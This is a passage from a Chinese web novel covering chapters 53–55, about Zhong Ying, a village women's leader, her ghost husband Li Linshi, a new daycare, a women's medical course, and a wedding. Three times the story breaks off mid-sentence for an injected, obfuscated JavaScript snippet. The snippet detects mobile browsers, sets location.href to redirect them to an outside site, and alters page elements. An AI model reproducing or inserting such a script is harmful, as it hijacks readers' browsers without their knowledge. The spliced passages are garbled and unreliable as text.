是的,她被李霖时缠住了。 李霖时最近也不回甘霖河里了,每天就跟在钟颖身边。 都说烈女怕缠郎,钟颖被他缠得也有些头痛,她是有点馋他的身子,但显然李霖时要的并不只那点子的一时欢愉。 “说真的,你能稍微离开一下吗?”钟颖小声和身旁的鬼说道,在他黑漆漆的眸子看过来时面不改色的接着说,“有点冷,真的。” 钟颖故意的,“你自己可能感觉不到,但那时候我感觉就像是含了块冰似的。” 以前这招都好用的,钟颖记得“白衬衣露点”就击退了两次死鬼,让她死里逃生,但现在,不知道是不是李霖时的阈值上升,他听了居然没有羞恼奔逃,只是静静看着她,不知道在想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16671721|185220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么。 钟颖期待的盯着他,最终放弃,默默裹紧了身上的布衫。 而且两个女知青朝她走过来了。 钟颖最终还是说服了杨知青,祭出“少年强则国强”这一大招,成功让杨美娟奔赴教育事业。 “树荫下确实阴凉。”陈丽娜走过来先说了句话。 钟颖不失礼貌的露出微笑。 杨美娟郑重其事地问,“我今天先带着从最简单的‘一、二、三、四、五、六’这些字教起可以吗?” “当然可以,”钟颖见她绷着脸,安抚道,“别紧张,这第一天我会盯着,办托儿所我们都是头一遭,有任何情况我们一起解决。” 两名女知青俱是心底多了些力量。 “姑姑姑姑——”钟国强像小鸡仔一样跑过来一把抱住钟颖的腿,扬起小脸目光热切的看着她。 钟国强听他娘、他爷奶、他小叔一句接一句的夸,现在正是觉得他姑高大威猛了不起、崇拜之情高涨的时候,他姑姑好厉害,托儿所都能组织办起来! 钟颖揉了揉钟国强的小脑袋,又朝送他过来的苗素云招招手,“嫂子。” 苗素云对她笑笑,很是放心的样子,“妹妹,那我去上工了,中午让国强自己回家吃饭就行。” 托儿所没有食堂,和先前村小一样,孩子们到了饭点各回各家吃饭,反正都在一个村子里,几步路而已。 钟颖没答应,“我送他回去。” 总共十几个孩子,就算不加钟颖,三姑婆和两个女知青三个人分一分,各自送孩子们回家吃饭也不怎么麻烦,毕竟都是些年龄尚小的孩子,还是送一送比较好。 钟颖等孩子们都被送来了、三姑婆也过来了,带着她的挂件小国强往校舍屋子里面走。 小孩子们见一屋子都是年纪相仿的同伴,各自沾亲带故也都认识,仿佛聚会般兴奋的叽叽喳喳聊着天,杨美娟和陈丽娜站在一旁留心看护着。 李光福和自家亲堂哥李光宗不对付,两人分开坐得挺远,李光福跑去和聂家的四个兄弟姐妹坐在一块儿说着话。 聂小勇看着有人从门口进来,顿时一乐,“哈,光福你小婶被别人抢走了!” 李光福闻声扭头去看,果然见他小婶牵着一个小孩。 钟颖四下看了看,正想开口说分大班小班的事,就感觉自己左手被人拉住了。 “小婶!”李光福拉住钟颖的手,这些日子他已经接受家庭的新成员了,小婶漂亮又不像其他大人那样糊弄小孩,他喜欢这个婶婶。 两个差不多高的小豆丁四目相对,仿佛天雷勾地火,钟国强读懂了对方的眼神,立刻不甘示弱的握紧钟颖的右手,“姑姑!” “这是我婶婶!”李光福手上用力一拉。 “我姑姑!”钟国强小脸执拗,往自己这边一拽。 钟颖夹在中间被一拉一拽,她无奈了。少女时期钟颖也曾看着古早电视剧里两男争一女的剧情尖叫,幻想自己身处这样的修罗场该有多刺激,但那个时候的她一定想不到,“两男争一女”会是这样在她的生活中上演。 “婶婶是我的!” “这是我姑姑!” 年龄均为四岁的“两男”,争她这一女。 钟颖觉得也没啥意思,没有什么修罗场的刺激,她瞥了一眼身旁皱起眉的男鬼,两个加起来还没有这一个给她的刺激大。 作为一个大人,钟颖很轻松的挣脱左右两男的手,“别争了,你俩都是我侄子。” 不管是叫姑姑还是叫婶婶,都是她侄子。 53. 纠缠 谷雨后明显雨水变多,有时候人们在田间地头正干着活,天空就转瞬间变得阴沉,飘下阵阵雨滴。 同甘生产队的众人熟练的四下找树荫下避雨,像往常一样等待这阵子雨下过去,再继续劳作。 “下午才刚开工没多久就下起雨来,也不知道要下到什么时候去。”林淑红站在淋不着雨的边界上,盯着外面的天空,试图通过观察阴云来判断雨要下多久。 她身后,聂英抬手用袖子擦了擦脸上的雨水,“要是一时半会儿停不下来,八成李队长就会通知歇工。” 农民没有周一到周五工作、周末休息的概念,下雨天才是休息日,只有这种时候社员们才不用出工。 相熟的女人们聚在一起,听着雨声无所事事的一边闲聊一边等待着。 钟颖抬手挡在脑袋前,从一棵树下跑到另一棵树下。 “大嫂子,我和你说的事情你考虑得怎么样了?”钟颖不放过眼下这个空隙,抓住时间就来游说姚东秀,毕竟公社开办的医疗培训班是有设定开班时间的,眼看没剩几天了。 姚东秀脸上顿时浮现出几分无奈,“颖妮儿,一家老小那么多事情,我真去不了。” 一旁的女人们好奇,追问是什么事情、什么去不了。 片刻后,大家才知道了,原来是钟颖想让姚东秀也去参加医疗培训班。 “金龙媳妇,妇女队长想让你去,你就去呗,而且你也有这方面的基础。”林淑红说着,又看向胡打听,嘴上调侃道,“还是说是你婆婆不愿意你去啊?” 胡打听摆手,“别把锅扣我脑袋上,我早就不给老大家拿主意了,等小龙也成家了,我就彻底都不管了。” 在其位谋其政,钟颖自觉的拿出社区老大姐的姿态,耐心询问着姚东秀,“嫂子你有什么难处和我讲,我是真心希望你能去学习一下,即便生产队里已经有聂大哥会去了,但女人家的毛病还真没办法找他来治。” 一直旁听着的聂英忍不住的点头,其他几人注意到,扭头看向她。 聂英顿时有些不好意思,硬梗着脖子,“看我干嘛?谁身上没点毛病了。” 几人顿时沉默了。 雨幕仿佛天地间降下的保护罩,在这个角落里避雨的都是女人,那些羞于说出的话便没那么难说出口了。 林淑红叹了口气,“我其实一直有种肚子要掉出身体里的感觉,唉,孩子生得多了就会有这种毛病。” “我……生了老二和柔妮儿后,打从那开始就有点憋不住尿。”刘红艳小声地说。 邓霞接着开口,“那我是下面痒。” 钟颖立刻看向她娘,“我都不知道,你都没和我讲过!” “这有啥好说的,又不是什么大毛病。”邓霞摆摆手,很是不以为然。 “不舒服就要说,别轻视、别不好意思说,早治疗早康复。”钟颖皱眉,原来不止年轻妇女需要女医生接生,上了年纪的妇女她们也需要女医生来治疗沉疴已久的妇科病。 钟颖更加坚定了希望姚东秀去学习的心,继续游说她,“你看,大家身体或多或少都有点不舒服的地方,就算金龙哥学成回来,让她们去找他看病——” 都不等钟颖说完,几个女人仿佛被吓到一般,连连摆手。 “哪能找男人看这些毛病啊!” “不成不成,说我都不敢说的……” 钟颖适时问,“那要是找女大夫呢?” 几人犹疑,不像刚刚那么排斥惊恐了,能恢复健康谁想一直忍受着那些难言之隐啊。 姚东秀看着,张了张口,心中已是有些松动。 钟颖又对着姚东秀诚恳的说道,“不止是婶子伯娘们需要治病,嫂子们生产也需要更专业的医生。” 她说着有些歉意的看向林淑红,“伯娘,我不是质疑你的接生水平……” 林淑红不在意的摆摆手,“没事,我知道自己几斤几两,一般情况我还能应付得来,要碰上胎位不正、难产的,我也是束手无策。” “说句真心话,我这些年已经有退下来的想法了,毕竟接生担的是一大一小两个人的命,碰上意外,只能保大或是保小,我这心里要难受好些日子才能缓过来。”林淑红说着,不由自主的揪住自己心口窝的衣服,那种难受劲儿仿佛又涌了上来。 胡打听难得这么沉默,抬手轻轻拍了拍林淑红的后背安慰着。 邓霞想起什么,眉眼间也染上些郁色,“是了,生产对女人来说就是一道鬼门关,当年我那苦命的妯娌就是这样没的。” 胡打听也是想起了曹芳,年轻时候她们两人关系很好。 “去吧,老大家的,”胡打听沉声说道,“现在生产队上有了托儿所,孩子们可以送过去,家里的活儿我来做,你去好好学习。” “妇女们需要一名大夫,一名女大夫,”钟颖现在掌握了些沟通技巧,诚恳地说,“大家需要你。” 这时候的人们是有大爱的。 姚东秀最终点了点头。 喜悦顿时涌上钟颖心头,真不容易,她这都堪比三顾茅庐了,可算是终于把人请出山了。 当天晚上,在李家的饭桌上,钟颖就迫不及待和大家长说了,“爹,聂大嫂子也要去公社的医疗培训班学习。” 李明点点头,“行,我等着把他们夫妻俩的介绍信一块儿开了。” 饭桌另一边的李钢时惊诧,“她也要去?金龙能乐意?” “……有啥不乐意的,”钟颖对这个大伯哥的观感越来越一言难尽,“我去找聂大哥说的时候,他看着十分乐意。” 在钟颖右手边坐着吃饭的聂金凤忍不住出声,“我大哥那个人……大嫂能一块儿去,他怕是心里都有了底,他要真一个人去学习,还不知道有多忐忑不安。” 亲妹妹直接揭了哥哥的底。 李钢时啧了一声,摇头,“费这劲干嘛。” 对钟颖这些日子忙活着办托儿所、劝姚东秀再学习医术的折腾很是不理解。 没想到这话一出,第一个不乐意的居然是李荣时。 “大哥,你真是不生孩子不腰疼。”李荣时一点不客气的怼道。 聂金凤怀孕的消息已经在家里公开了,夫妻俩情谊深,李荣时对钟颖忙前忙后的行径乐见其成,公社组织的医疗培训班是四个月的学习时间,等金龙他媳妇学成回来,金凤生产时也会更有保障。 李钢时皱眉,仿佛看一个不懂事孩童一样看向他二弟,“你怎么能这么说话呢,我是你大哥。” 李荣时暗暗翻了个白眼,切,又拿“大哥”这两个字压人,从小到大都这样,没一点新意,就会这招。 钟颖默默的吃饭,不掺合兄弟俩的纷争。 李明虽然总叹气二儿子的无所作为,感慨虎生三子、必有一彪,但要钟颖看,李钢时才是三子里那个长歪了的。 晚饭后,“洗碗机”又帮着把碗洗了,虽然钟颖拒绝帮忙,但架不住鬼非要帮忙。 时间不早了,李荣时一家离开,回他们自己的小家,钟颖也回了隔壁房子。 简单洗了个澡,钟颖晾着湿漉漉的头发,坐在堂屋的椅子上,手上拿了个布条编成的玩具球扔给红糖玩。 扔出去叼回来,循环往复,一人一狗都玩得开心。 突然有温热贴上钟颖脖颈的皮肤,立刻唬了她一大跳,汗毛竖起,一个激灵扭头去看。 “吓死我了,”钟颖松了口气,没好气地说,“我刚刚还以为有人闯进来了。” 接着,钟颖反应过来,奇怪的看着李霖时,“你怎么不冰了?” “我在颖山上找到了一处温泉,引入了甘霖河的一段径流中,再封进身体里。”李霖时说。 钟颖眼睛一亮,温泉! 但随即想到在颖山里见到的那只凶猛白虎,钟颖想想,还是觉得命更重要。 事实肯定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16676603|185220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 比李霖时说得要复杂,钟颖已经很了解他做得比说得多的性格了。 而且,很显然,李霖时是因为她之前故意说的话才这么做的,其实他大可以不必理会,毕竟他有着非人的力量,强迫钟颖去适应他冰冷的体温,钟颖也无可奈何。 但他却费了一番力气去改变自己。 钟颖目光复杂的看着李霖时,“……我们认真的谈一谈吧。” “……好。”李霖时颔首。 钟颖拉过身旁的椅子,让李霖时坐下。 她也坐在椅子上,视线平视着对方,钟颖表情认真,“你有没有觉得你可能是因为吊桥效应产生的感情,不对。” 钟颖说着就先否定了自己,“吊桥效应是指的处于相对封闭的环境中,受刺激影响心跳加速,将这种紧张感错误的理解成心动,这倒是不能完全贴合我和你的情况了。” “总之,我是想说,”钟颖想不到别的心理效应了,她毕竟不是情感心理学方面的专家,“会不会是因为只有我能看得见你、能和你沟通,所以你才错误的觉得你喜欢上了我?在选择有限的情况下,有时候是会想要抓住唯一的稻草的,我能理解……” 李霖时越听脸色越沉,他伸手,抓住钟颖坐着的那把椅子的椅子腿,一个用力连椅子带人一起拖了过来。 “你是在给我找理由?”李霖时压抑着怒火,“你以为我为什么还停留在人间?大伯娘是为了她女儿,你觉得我是为了谁?我喜欢你是什么错事吗?需要你来帮我找理由?” 一旦说出口了,李霖时突然发现,“我喜欢你”其实也没有想象的那么难言。 钟颖感觉她的鼻尖都快要和李霖时的鼻子挨上了,几乎可以看清他的每一根睫毛,她喉咙有些发干,下意识的咽了口唾沫,干笑一声,“我只是想理智的看待和分析事情。” 理智?李霖时不禁嗤笑,他难道不曾理智过吗?他几次三番待在甘霖河里,就是想要恢复理智,可每次都被钟颖扰乱心绪,她甚至在一无所知的情况下给了他最想要的“糖果”,现在他理智全无,钟颖又说什么理智? 他们纠缠在一起的时间不算短了,钟颖对李霖时有了几分了解,李霖时对她也是一样。 李霖时不笨,能在这时代读到大学毕业的人,或者更准确地说,他很聪明。 “和我在一起不好吗?”李霖时换了个路数,声音放轻,咫尺之间仿佛情人间的呢喃,“我可以帮你洗碗,洗衣服的活儿我也可以做。” “天气热的时候我会是凉的,天冷的时候我会变成暖的。” “你想玩什么换装游戏,我也由着你。” “想泡温泉吗?我带你去,就算遇到老虎,我也可以立刻带着你离开,就像之前那次一样。” 钟颖呼吸一滞,下意识的屏住呼吸,富贵不能淫,贫贱不能移,威武不能屈……但架不住他给的太多了。 洗碗机、洗衣机、移动空调、奇迹霖霖、还提供温泉服务,一款集居家、游戏、养生于一体的好鬼。 钟颖用最后的一点理智挣扎着,“你不应该和我纠缠在一起的,你难道不想去投胎吗?” 鬼长时间在人间停留其实是有风险的,如果被最后一个记得他的人遗忘,那么是会灰飞烟灭的。 抓着椅子腿的手不知不觉覆上钟颖撑在身侧椅子边缘的手,修长的手指伸入指缝,不容挣扎的变成十指相扣的姿势。 “你会一直记得我的对吗?”李霖时凝视着钟颖的眼眸。 要是这鬼一直在眼前刷存在,钟颖想了想,她还真有可能达成“一直记得他的人”这个存活条件,她只能诚实的点了下头。 一点笑意如水波荡起的涟漪,染上他好看的唇角眼梢,如同一霎那春水消融。 “那等到你七老八十、寿终正寝,我和你一起去投胎转世。” 被美色硬控一秒的钟颖清醒过来,等等,这意思是,这鬼要缠到她老死? 54. 土方子 钟颖觉得她和李霖时对于“在一起”的理解有些偏差。 即便是在社会意义上已经是结了婚,但在钟颖的理解,“在一起”等于谈恋爱。 而李霖时已经快速适应了自己的身份,非常人夫的接手大大小小的家务活。 这个年代男男女女谈理想、谈奋斗、谈成分……就是不谈爱情。 李霖时对“在一起”的理解就是和老一辈一样,相互扶持着过日子。 寻常夫妻都是男主外女主内,像钟家、李家,都是家里当爹的那个扛起挣工分的大部分担子,李霖时现在是鬼自然没办法这样子做,于是自觉承担起了“内”的部分。 虽然和钟颖以为的谈情说爱不一样,但…… 早晨钟颖只管起床去洗漱,再进屋,床上随手掀开的被子已经变成规规整整的被垛; 水珠撒到屋子里的地上,裹挟着尘土灰尘,片刻后地面便干干净净; 蓄水的大缸里仿佛取之不尽、用之不竭一般,钟颖再也不用自己费力去压井水; 洗澡可以去天然浴池泡温泉,包接包送走水路; 连狗都趁今天阳光明媚被带去河边洗了个澡,红糖一身黑色短毛在太阳下油亮泛红; 还有衣服也不用钟颖自己洗。 李霖时忍不住面露怀疑,“你确定水这样搅一搅,就能洗干净衣服吗?” “……你能别顶着一张二十来岁的脸,说七八十岁人才会说的话吗?”钟颖也忍不住反问道,上一次她听到这话,还是她奶奶说的。 钟颖又很快理解了,毕竟算起来李霖时和她奶才是一代人,拿出对待她奶的耐心说道,“洗衣机的工作原理就是这样,在河边洗衣服不也是捶捶打打,而且这不是还加了些干皂角去污。” 李霖时只能相信这样子做能行,“那你回屋歇晌吧,到下午上工的点我再叫你起来。” 钟颖睁大眼,她现在都能睡个午觉了吗? 理解男人,成为男人,高于男人。 钟颖可不像男人那样对家里贤惠人的付出当作是理所应当的事,她一把扑过去抱住李霖时的脖子,感动的夸夸,“你真好!我真是越来越喜欢你了!” 两人份的情话钟颖一个人输出,直白的堪比威力迅猛的武器。 李霖时抿唇,克制嘴角的上扬,不好意思的目光游移,“你、你快去歇着吧。” 钟颖回到屋里,脱了外衣躺到床上,舒服的喟叹一声,准许洗干净的红糖上来和她一起眯一会儿。 李霖时深吸了一口气,努力让自己激荡的心绪平复下来,开始做手头的活儿。 水流搅动着衣服在搪瓷脸盆里形成小小的涡流,翻滚撞击着盆壁,李霖时看着被缠绕搅在一起的衣服,还是停下了对水的控制,弯腰将衣服一件件理开,开始一件件手搓。 李霖时像他还是人时那样洗着衣服,在水里冲干净皂角的泡沫,拧干水分后展开用力抖了抖,心满意足,果然还是这样洗更干净。 要是此刻钟颖在旁边看到,估计更要觉得李霖时“老人感”重,还是不信任洗衣机能洗干净衣服、非要拿出来手搓,嗯,也是她奶奶干过的事。 在外求学时所有事情都要自己做,李霖时洗衣服的动作熟练又麻利,脸盆里的衣服肉眼可见的减少,院子里横空拉着的绳子上挂着的衣服一件件变多…… 李霖时把一件洗得已经有些褪色的格子衬衫搭到绳子上,又坐回小木凳上,随手从水里捞出下一件要洗的衣服,小小一团的衣服抖开,他脑子顿时一懵。 两根细细的肩带,比寻常衣服短了半截的布料,针脚粗糙,边缘甚至有一处开了线卷了边,显然是钟颖自己做的、穿在里面的衣服。 李霖时动作僵硬的捏着那一小件的衣服,几乎靠着肌肉记忆把它搓洗出来,机械的起身、重复晾晒的步骤。 —— 虽然物质条件和现代时还是没办法比,但钟颖觉得自己的生活幸福指数直线上升。 托儿所步入正轨,有保育员们管着孩子们就行;姚东秀和聂金龙两口子借了生产队长的自行车,每天往返公社卫生所学习…… 钟颖就只剩下每天去上工这件事情要做,要不是身为妇女队长要以身作则、勤勉劳动,她怕是又想要躺平摸鱼了。 下了工去李家,不用多久就能吃上大嫂、二嫂做的饭,饭后刷碗钟颖“滥竽充数”,有李霖时代劳。 娘家挨得近,钟颖有时候想回家吃饭脚尖一转就去了,她爹娘高兴得很,弟弟钟信还经常摘了家里自留地的瓜果给她拿来,赶上榆钱集开集的日子,钟颖还会和嫂子苗素云、堂妹钟妮一起去赶集。 钟颖买了三只小鸡,前些日子忙得没空养,但现在她闲下来,又动了养鸡的念头; 苗素云只买了一份酥果子,让钟颖、钟妮拿着吃,两人都没要,直说让她拿回家给小国强吃; 钟妮则是买了几张红纸。 “不年不节的怎么买红纸?”钟颖故意调侃道。 钟妮顿时脸颊红透,羞窘万分。 苗素云善解人意,出声给她解围,“别理这个坏家伙,回去我和你一起剪喜字。” 钟妮的婚事就在下个月办,剪了喜字预备着贴到家里门上、窗户上,增添喜气,本来这些事情都有当娘的操持,但钟妮幼年丧母,眼下只能她自己来做。 “还是给我吧,我又没有孩子、也不需要照看一家老小,最近都没事情做,正闲着呢,我来给你剪。”钟颖说,心里打算着让大伯娘来她家剪喜字,让当娘的也能尽一份力。 钟妮推脱了几次,可见堂姐坚持,最后只能把红纸交给钟颖,“谢谢姐。” “客气什么,”钟颖不在意的摆摆手,目光被远处一个摊位吸引,“我们去那边看看,怎么有那么多人围着。” 三人直到看够了热闹、集市罢集,才随着人流离开,在这个娱乐贫乏的年代,赶集都变得趣味十足。 步行数个小时才回到同甘生产队,钟颖远远就看到村口界碑石后等着的两道飘渺身影。 等钟颖走近,曹芳乐呵呵的开口,“过去都是我一个鬼在这里等,现在还有个伴儿了,侄女婿可比我来得还早咧。” 李霖时努力保持正色,无视大伯娘的调侃和钟颖投来的目光,只说道,“我听到了小鸡的声音,你买了鸡仔?” 不用钟颖回答,李霖时自己凑过来看,钟颖胳膊上挎着的篮子里三只小鸡感受到一股阴冷危险的气息,立刻紧紧簇拥成一团,害怕的瑟瑟发抖。 除了两鬼,其实还有一人在等人。 钟妮和堂嫂、堂姐挥手道别,走了没几步,等着她的人站在路边,见她过来,立刻站直了身子。 老实的青年人站得板直,显出了几分局促,“我、我托聂大哥在公社供销社里买了个雪花膏,你拿去擦脸吧。” 说着,刘广田就把手里写着“友谊雪花膏”的黄色圆形小铁罐塞给钟妮,仿佛是什么烫手的山芋一般。 钟妮也像是被烫到一般,从脸上红到耳朵尖。 李霖时站在院门口,本要跟着钟颖抬脚往里走,扭头却见到这一幕,他视力很好,将年轻男女相对而立的大红脸尽收眼底。 还有……被钟妮紧紧攥住的雪花膏。 李霖时唇角的弧度渐渐消失。 这些日子李霖时感觉很幸福,哪怕是做做家务活,可这些事情让他觉得自己是和钟颖紧密的联系到了一起,日渐亲密,钟颖会直白的诉说爱意、时而给他一个奖励的吻……他们会在夜晚相拥而眠,即使李霖时并不需要睡觉,只是静静地看着钟颖的睡颜,便会满足的抱紧她。 李霖时以为,即便他现在是鬼,他和钟颖一样能幸福的、长长久久的生活在一起。 但他现在突然发现,不一样。 他表弟可以送喜欢的姑娘东西,但他却做不到。 难过和遗憾仿佛滴进水里的墨,在李霖时的胸膛扩散开来,因为他已经不是人了啊。 钟颖是在两天后才察觉到李霖时的不对劲,这死鬼太会藏情绪了。 一上午的时间,太阳渐渐爬到天空正中,进入五月,田间的冬小麦进入灌浆、成熟期,生产队的众人又开始播种玉米,钟颖弯了大半天的腰,直起身子来歇口气。 钟颖放眼望着地里劳作的人们,进度各有不同,像她爹娘,在地里干了大半辈子的老手,眼看着分配给他们的那亩地里间隔有序的种满了玉米种子;再看程彬和仇玉才那两名男知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16682932|185220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 青,因为动作生疏,目前进度是最慢的。 “你喜欢他的脸吗?” 身后突然传来一道阴测测的声音,“他之前也说过要娶你。” 钟颖侧目看去,李霖时站在她身后,弯腰将脑袋搭在她的肩头,阴凉的气息密不透风的从背后包裹住她。 李霖时幽深的黑眸盯了会儿远处文质彬彬的青年人,又转而看向钟颖,轻轻说道,“我借他的身还魂好不好?” 他俊美的脸上像是结了霜一般凝出一股瘆人的鬼魅煞气,显然钟颖此刻只要点一下头,李霖时就会犹如得到指令的恶犬,扑上去结束掉程彬的生命,抢走他的身体。 钟颖顿感头疼,怎么突然就变得鬼气森森了? 果然不管是家庭主妇还是家庭鬼夫,就没有不崩溃的吗? 钟颖皱眉思索,是她该给的情绪价值没给够吗?还是她其实也应该分担一些事情,而不是仗着李霖时惯着,就在家躺平做咸鱼? 李霖时见她一副苦恼的样子,更加紧紧盯着她,“等我上了他的身,重新变成人,我再来娶——” 钟颖打断他的话,压低声音,“咱俩就掰了。” 李霖时周身阴鸷冰冷的气息一瞬间凝滞。 “你在想什么?”钟颖重新弯腰播种,借着动作继续说道,“我,社会意义上你的未亡人,一个寡妇,你要是变成了程知青,那就有多远给我滚多远。” 钟颖说得不客气,“我之前就是不想嫁给一个活的、会喘气的男人,才想嫁给你的。” 她做了那么多的事情,辛苦谋划,结果目的达成才过了一个来月,优绩股就抽风了,钟颖越想越气,“我现在日子过得好好的,就算我喜欢你,你也别给我整什么你爱我就陪我经历风雨、扛过舆论风暴这一出,别想PUA我。” 钟颖狠狠剜他一眼,“想分手就直说!” 李霖时没想到她会是这种反应,被钟颖怒瞪了一眼,他倒是冷静了下来,伸手握住钟颖还拿着锄头的手,先急急的反驳了一句,“我没想和你分开。” “我只是想,如果能做回人,我就能给你送雪花膏、送吃的……”李霖时垂下眼睫,有些落寞的说。 钟颖又站直身子,有些无语,“我要是想要,我难道不能自己买?” 她可是从来不亏待自己,想要即得到,包括李霖时。 “不过你要是真想送我东西,”钟颖借着捂嘴轻咳的动作,小声说道,“帮我去颖山里搞点桃胶,我拿来调颜料用。” 钟颖之前跟着绘画队画宣传画,知道了这时候绘画颜料调制的土方子,用红土、锅底灰、白石灰或是其他有颜色的植物加水兑胶调制,其他东西都好得手,只有这个胶难弄来,钟颖记得那一次上山她吃了一路的果子,其中就有桃子,桃树分泌的树脂正是可以用来调颜料的桃胶。 如果能调配出更多的颜色,她玩“奇迹霖霖”就可以画有颜色的衣服了。 钟颖看了李霖时一眼,嗯,皮肤白应该什么颜色的衣服都能驾驭。 李霖时不怕钟颖对他有需求,甚至还希望她想要的越多越好,“我现在就去给你找。” 但并不是每一个人都会被爱人安抚。 夜深人静,生产队的其中一户人家里,范大妮看着面前碗里漆黑的药水,暖光的烛光照不亮的黑色,仿佛带着一种不详的气息,但这是她打听到的土方子,几味中药熬了水,连着喝上一段时间,就能生儿子了。 她需要一个儿子。 她娘因为没儿子被她爹骂了大半辈子,她二妹因为娘和她都没生出来个儿子婚事告吹,至今还没再说上一门亲事。 范大妮想着三个妹妹,她必须要生一个儿子。 她伸手端起面前的碗,看向坐在对面的丈夫,“那我喝了?” 刘满仓沉默不语,一如往常的木纳样子。 范大妮吞咽着黑水,眼尾晃过晶莹,她喝得难受,不只是因为难喝。 出声询问时,范大妮期盼着能被阻拦,被安慰一句,但她没有听到。 果然,男人没有不想要儿子的啊。 被碗挡住的唇角露出一抹嘲讽的笑意,嘲讽她自己、嘲讽她对面的男人,也是在嘲讽这个荒唐的人世间。 55. 好日子 肃静的庙宇在夜色中亮起昏黄的光,吴玲将蜡烛小心的摆放到案牍上,再借着烛火将一把长香点燃,分给婆婆和弟妹。 林淑红带着左右的大儿媳、二儿媳虔诚的跪在山神娘娘泥塑前的蒲团上。 “山神娘娘,我家三儿广田要在农历二十四那天结婚,就在大后天。”林淑红拿着香,近五十岁的人像孩子对长辈汇报近况一样碎碎念着,“愿您保佑婚事一切顺遂,小两口未来日子和和美美……” 跪在她左边的是大儿刘福顺的媳妇吴玲,她没有出声,拿着香同样虔诚的在心中默默祈祷,希望山神娘娘保佑自己年龄尚小的一双儿女能够平安健康的长大。 而跪在另一侧的二儿刘满仓的媳妇范大妮却仰头看去,慈眉垂目的神祇雕像在烛火不甚明亮的烛火下却显现出几分冷淡漠然,也是,本来就是冰冷无温度的泥塑,又怎么会有什么温情的怜悯呢? 山神娘娘……真的存在吗? 夜风袭来,扰得烛火轻微晃动。 钟颖抬手,挡在蜡烛前,好让烛火不受影响的点燃她手中的那张纸。 红糖目不转睛的看着悬在半空中的剪刀和红纸,尽管已经见过飘上晾衣绳的衣服、自己叠起来的被子、飞到鸡窝的食盆……狗生三观在这些日子已经重塑,但仍忍不住目光惊奇的盯着看。 曹芳拿着剪刀,一时停下了手上剪喜字的动作,尽管已经见过很多次的奇装异服了,但此刻她仍忍不住目光惊奇的盯着李霖时看。 “我还是第一次见男的穿这种颜色的衣服……”曹芳不禁感慨,真是闻所未闻、见所未见。 钟颖脸上露出欣赏的表情,用看过的某部宫斗剧中皇上的口吻赞了一句,“粉色娇嫩,最衬你的肤色。” 李霖时低头看了看身上的粉色衬衫、棕色长裤,又抬头面无表情的看向始作俑者,钟颖又在戏耍他,但李霖时却没办法像以前那样说不,毕竟他自己说过的由着她玩。 不过钟颖真不是戏弄他,她可是有审美的,李霖时现在的肤色苍白,一般男人难以驾驭的粉色反而在这种白到极致的皮肤衬托下,柔和了他周身的阴冷,如春日桃花盛开一般,多了几分生机。 曹芳虽然头回见男的穿这种颜色衣服,但很是赞同侄女的观点,附和道,“是啊,不过主要还是人高肩宽正年轻,真是穿什么都好看。” 不过赞叹一句,曹芳就收回了自己的目光,继续剪喜字,她不要钟颖帮忙,三张大红纸裁成若干等份,一个个喜字全是她亲手剪出来的,每一个都包含着当娘的心意。 曹芳剪完最后一个喜字,展开,和之前的喜字平整的摞放到一起,“颖妮儿,麻烦你再拿给我家妮儿了。” “得嘞大伯娘,明天我就拿过去。”钟颖一口应下。 曹芳立刻就要离开,她可不是没有眼力劲儿的长辈,要不是有事她才不会打扰小夫妻两个的生活,现在喜字剪完了,时间都这么晚了,她当然得赶紧走。 钟颖把大伯娘送出了院子,顺便又检查了一遍院门是否关好。 再回到屋子里,桌上那一摞的喜字仍整整齐齐码放在远处,散落的那些零碎纸屑已经不见了踪影,有田螺男鬼已经清扫干净。 钟颖放轻脚步,尽量不发出声音的悄悄靠近,再猛地背后袭击,一把抱住劲瘦腰肢。 她探头,这才看清李霖时在干什么,他手里拿了一个巴掌大小的迷你喜字,正比划着想要贴到墙上还是柜门上好。 “我用剩下的红纸自己剪的,喜字不难剪。”李霖时侧头看向钟颖,语气平常的说,“但好像贴哪儿都不太合适。” 他娘偶尔会过来这处屋子,送一些生活用品,多得个柳条筐也会记得拿给钟颖,身体力行的真把这个“被迫”守寡的小儿媳当闺女照看着。 李霖时又重新看向拿着自己手上的喜字,垂眸,倏地将其攥成一团,“……算了,贴哪儿都不合时宜。” 这门亲事说到底不算正经喜事,钟颖嫁过来连带过来的喜被都是纯白没有花色的,自然也不会有红色喜字张贴到屋子各处。 钟颖哪里感受不到李霖时仍耿耿于怀的心思,她把鬼掰过来,再正面抱住。 “好吧,让我们来假设一下。”钟颖仰头看着李霖时,“嗯……就从我们命运的那个转折点说起,假设你没有遇到河里的暗流,那么你还活着。” 李霖时不由得顺着钟颖的话思绪发散,“但我在河里抱了你是事实。” 